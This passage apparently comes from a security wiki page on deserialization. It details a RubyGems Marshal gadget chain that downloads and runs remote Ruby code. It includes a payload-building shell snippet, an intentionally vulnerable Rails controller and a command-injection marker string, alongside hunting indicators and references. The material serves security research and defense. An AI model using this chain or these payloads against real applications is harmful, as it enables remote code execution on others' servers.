   1161 Using the arbitrary file write vulnerability, the attacker writes the crafted cache file to the computed location. Next, they trigger a server restart (by writing to tmp/restart.txt, which is monitored by Puma). During restart, when Rails requires the targeted file, the malicious cache file is loaded, resulting in remote code execution (RCE).
   1162 
   1163 
   1164 ### Ruby Marshal exploitation in practice (updated)
   1165 
   1166 Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.<sup>[[35]](#references)</sup>
   1167 
   1168 
   1169 #### Ruby 3.3–4.0 universal RubyGems chain
   1170 
   1171 A dependency-free chain demonstrated on Ruby `4.0.6` (and reported to work unchanged on `3.3` through `4.0.6`) uses RubyGems code shipped with Ruby. The exact chain needs outbound HTTPS access and a writable destination such as `/tmp`; command execution has the Ruby process privileges and is **not** a local privilege escalation.<sup>[[53]](#references)</sup>
   1172 
   1173 The serialized graph is ordered so that the download/write side effect completes before a later `Hash`-key callback evaluates the downloaded Ruby source:<sup>[[53]](#references)</sup>
   1174 
   1175 1. Resolving `Gem::SpecFetcher` near the start of `Marshal.load` activates RubyGems autoloading and makes later gadget classes available even in a bare process.
   1176 2. A forged `Time` stores a `Gem::URI::Generic` object as its zone. During `Time._load`, `StringValueCStr` calls `to_str`; `Gem::URI::Generic#to_str` aliases `to_s`, which calls `@port.to_s` on an embedded `Gem::RequestSet::Lockfile` downloader.
   1177 3. The downloader uses an `s3` URI to reach signing code that emits an HTTPS URL. Traversal components placed in the URI's attacker-controlled port-derived path escape the RubyGems cache, while `Gem::Util.inflate` converts the remote `.rz` response into `/tmp/quick/Marshal.4.8/name-.gemspec`.
   1178 4. RubyGems then tries to parse that source file as serialized specification data and raises. This is useful because the file write already happened, and `time_mload` validates the zone inside `rb_rescue`, suppressing the post-write exception so graph reconstruction continues.
   1179 5. A `Gem::StubSpecification` with `@loaded_from` set to the written path is restored as a `Hash` key. Hash reconstruction invokes its `hash` method, which reaches `Gem::Specification.load(@loaded_from)`; that method reads the file and evaluates it as Ruby.
   1180 
   1181 The hosted response must be a deflated Ruby program. Make its last expression a valid `Gem::Specification` so the subsequent `name`, `version`, and `platform` accesses succeed and `Marshal.load` can return without the otherwise expected warning/exception:<sup>[[53]](#references)</sup>
   1182 
   1183 ```bash
   1184 cat > payload.rb <<'RUBY'
   1185 puts `id`
   1186 Gem::Specification.new do |s|
   1187   s.name = "poc"
   1188   s.version = "1.0.0"
   1189 end
   1190 RUBY
   1191 ruby -rrubygems -e 'File.binwrite("poc-id.rz", Gem.deflate(File.binread("payload.rb")))'
   1192 ```
   1193 
   1194 `Marshal.dump` cannot normally produce a `Time` with an arbitrary object as its zone because `Time#_dump` serializes native state. The generator therefore dumps a placeholder object and replaces its bytes with a `TYPE_USERDEF` (`u`) `Time` entry wrapped by `TYPE_IVAR` (`I`), leaving the already serialized zone gadget after it. Keep the same number and order of symbol definitions on both sides of the replacement because later `TYPE_SYMLINK` entries are positional. Also stub `Gem::StubSpecification#hash` while building the generator-side `Hash`; otherwise the key gadget fires before serialization.<sup>[[53]](#references)</sup>
   1195 
   1196 This chain also shows why partially broken gadgets should be retested rather than discarded: RubyGems type checking removed the older `Gem::Version` `to_s` wrapper, and moving Git executable names out of attacker-restorable instance variables removed the older execution sink, but the surviving fetch/write primitive was reusable behind new trigger and evaluation gadgets.<sup>[[53]](#references)</sup>
   1197 
   1198 Specific hunting indicators include Marshal blobs naming `Gem::SpecFetcher`, `Time`, `Gem::URI::Generic`, `Gem::RequestSet::Lockfile`, and `Gem::StubSpecification`; HTTPS egress during deserialization; unexpected files below `/tmp/quick/Marshal.4.8/`; or stack traces containing `Time._load`, `Gem::StubSpecification#hash`, and `Gem::Specification.load`.<sup>[[53]](#references)</sup>
   1199 
   1200 `Gem::SafeMarshal` was introduced to deserialize a restricted set of RubyGems objects, but the exact version still matters. Research against the Ruby 3.4 prerelease implementation showed that allowlisted `Date` and `Time` object paths could escape the restrictions and re-enter unrestricted `Marshal.load`; consequently, `SafeMarshal` is defense in depth, not a substitute for preventing attacker-controlled bytes from reaching a deserializer.<sup>[[47]](#references)</sup><sup>[[48]](#references)</sup> The RubyGems 3.6.2 integration was merged into Ruby immediately before the Ruby 3.4 final release.<sup>[[49]](#references)</sup>
   1201 
   1202 
   1203 - Minimal vulnerable Rails code path:<sup>[[44]](#references)</sup>
   1204 
   1205 
   1206 ```ruby
   1207 class UserRestoreController < ApplicationController
   1208   def show
   1209     user_data = params[:data]
   1210     if user_data.present?
   1211       deserialized_user = Marshal.load(Base64.decode64(user_data))
   1212       render plain: "OK: #{deserialized_user.inspect}"
   1213     else
   1214       render plain: "No data", status: :bad_request
   1215     end
   1216   end
   1217 end
   1218 ```
   1219 
   1220 - Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.<sup>[[37]](#references)</sup><sup>[[46]](#references)</sup>
   1221 - Typical side-effect marker embedded in payloads (executed during unmarshal):
   1222 
   1223 ```text
   1224 *-TmTT="$(id>/tmp/marshal-poc)"any.zip
   1225 ```
   1226 
   1227 Where it surfaces in real apps:
   1228 - Rails cache stores and session stores historically using Marshal<sup>[[42]](#references)</sup>
   1229 - Background job backends and file-backed object stores
   1230 - Any custom persistence or transport of binary object blobs
   1231 
   1232 Industrialized gadget discovery:
   1233 - Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal<sup>[[38]](#references)</sup>
   1234 - Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets<sup>[[39]](#references)</sup>
   1235 - Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)<sup>[[40]](#references)</sup><sup>[[45]](#references)</sup>
   1236 
   1237 
   1238 ## References
   1239 
   1240 - [1] [NotSoSecure – Remote Code Execution via PHP unserialize()](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)
   1241 - [2] [Exploit-DB – Deserialization Vulnerability (PDF)](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
   1242 - [3] [SecurityCafe – Understanding PHP Object Injection](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
   1243 - [4] [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
   1244 - [5] [Huli's Blog – Google CTF 2022 Horkos Writeup](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)
   1245 - [6] [OPSECX – Exploiting Node.js Deserialization Bug for Remote Code Execution](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
   1246 - [7] [Acunetix – Deserialization Vulnerabilities: Attacking Deserialization in JS](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
   1247 - [8] [HackerOne Report #350418 – Cryo library RCE](https://hackerone.com/reports/350418)
   1248 - [9] [RSC Vuln Lab – CVE-2025-55182 (React 19.2.0 Server Actions)](https://github.com/ghe770mvp/RSC_Vuln_Lab)
   1249 - [10] [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
   1250 - [11] [Foxglove Security – What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
   1251 - [12] [GadgetInspector talk](https://www.youtube.com/watch?v=wPbW6zQ52w8)
   1252 - [13] [BlackHat – Automated Discovery of Deserialization Gadget Chains (slides)](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
   1253 - [14] [deadcode.me – Blind Java Deserialization: Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
   1254 - [15] [deadcode.me – Blind Java Deserialization Part II](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
   1255 - [16] [AppSecCali – Marshalling Pickles (Java deserialization talk)](http://frohoff.github.io/appseccali-marshalling-pickles/)
   1256 - [17] [YouTube – Java deserialization exploitation talk](https://www.youtube.com/watch?v=VviY3O-euVQ)
   1257 - [18] [marshalsec paper](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
   1258 - [19] [BlackHat – Friday the 13th: JSON Attacks (paper)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
   1259 - [20] [BlackHat – Friday the 13th: JSON Attacks (talk)](https://www.youtube.com/watch?v=oUAeWhW5b8c)
   1260 - [21] [BlackHat – Friday the 13th: JSON Attacks (slides)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
   1261 - [22] [Seebug Paper – Deserialization CVEs](https://paper.seebug.org/123/)
   1262 - [23] [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
   1263 - [24] [DZone – Why Runtime Compartmentalization Is the Most Comprehensive Mitigation](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
   1264 - [25] [BlackHat – Pwning Your Java Messaging With Deserialization Vulnerabilities (slides)](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
   1265 - [26] [JMET talk](https://www.youtube.com/watch?v=0h8DWiOWGGA)
   1266 - [27] [Forshaw – Are You My Type? (BlackHat 2012 paper)](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
   1267 - [28] [SlideShare – Dangerous Contents: Securing .Net Deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
   1268 - [29] [Microsoft Security Intelligence – CVE-2025-59287 WSUS unsafe deserialization](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior%3AWin32%2FSuspWsusActivity.A&ThreatID=2147955104)
   1269 - [30] [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS)
   1270 - [31] [CodeClimate – Rails Remote Code Execution Vulnerability Explained](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
   1271 - [32] [StarLabs – Sending Myself GitHub.com Environment Variables and GHES Shell (archived)](https://web.archive.org/web/20260000000000id_/https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)
   1272 - [33] [GitHub Blog – Execute Commands by Sending JSON: Learn How Unsafe Deserialization Vulnerabilities Work in Ruby Projects](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/)
   1273 - [34] [Conviso AppSec – From Arbitrary File Write to RCE in Restricted Rails Apps](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)
   1274 - [35] [Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits](https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/)
   1275 - [36] [elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain](https://www.elttam.com/blog/ruby-deserialization/)
   1276 - [37] [Trail of Bits – Auditing RubyGems.org (Marshal findings)](https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/)
   1277 - [38] [Include Security – Discovering Deserialization Gadget Chains in Rubyland](https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/)
   1278 - [39] [GitHub Security Lab – Ruby Unsafe Deserialization (CodeQL query help)](https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/)
   1279 - [40] [GitHub Security Lab – Ruby Unsafe Deserialization PoCs repo](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization)
   1280 - [41] [OWASP Deserialization Cheat Sheet - .NET/C#](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
   1281 - [42] [Phrack #69 - Rails 3/4 Marshal chain](https://phrack.org/issues/69/12.html)
   1282 - [43] [CVE-2019-5420 (Rails 5.2 insecure deserialization)](https://nvd.nist.gov/vuln/detail/CVE-2019-5420)
   1283 - [44] [ZDI - RCE via Ruby on Rails Active Storage insecure deserialization](https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization)
   1284 - [45] [Doyensec PR - Ruby 3.4 gadget](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1)
   1285 - [46] [Luke Jahnke - Ruby 3.4 universal chain](https://nastystereo.com/security/ruby-3.4-deserialization.html)
   1286 - [47] [Luke Jahnke - Gem::SafeMarshal escape](https://nastystereo.com/security/ruby-safe-marshal-escape.html)
   1287 - [48] [Ruby 3.4.0-rc1 release](https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1)
   1288 - [49] [Ruby PR #12444 - Merge RubyGems 3.6.2 and Bundler 2.6.2](https://github.com/ruby/ruby/pull/12444)
   1289 - [50] [NCC Group – Freddy](https://github.com/nccgroup/freddy)
   1290 - [51] [es.slideshare.net - Java Deserialization Vulnerabilities The Forgotten Bug Class](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
   1291 - [52] [alphabot.com - Fastjson Exceptional Deserialization Vulnerabilities](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
   1292 - [53] [elttam – Ruby 4.0 Universal RCE Deserialization Gadget Chain](https://elttam.com/blog/ruby-4-0-universal-rce-deserialization-gadget-chain)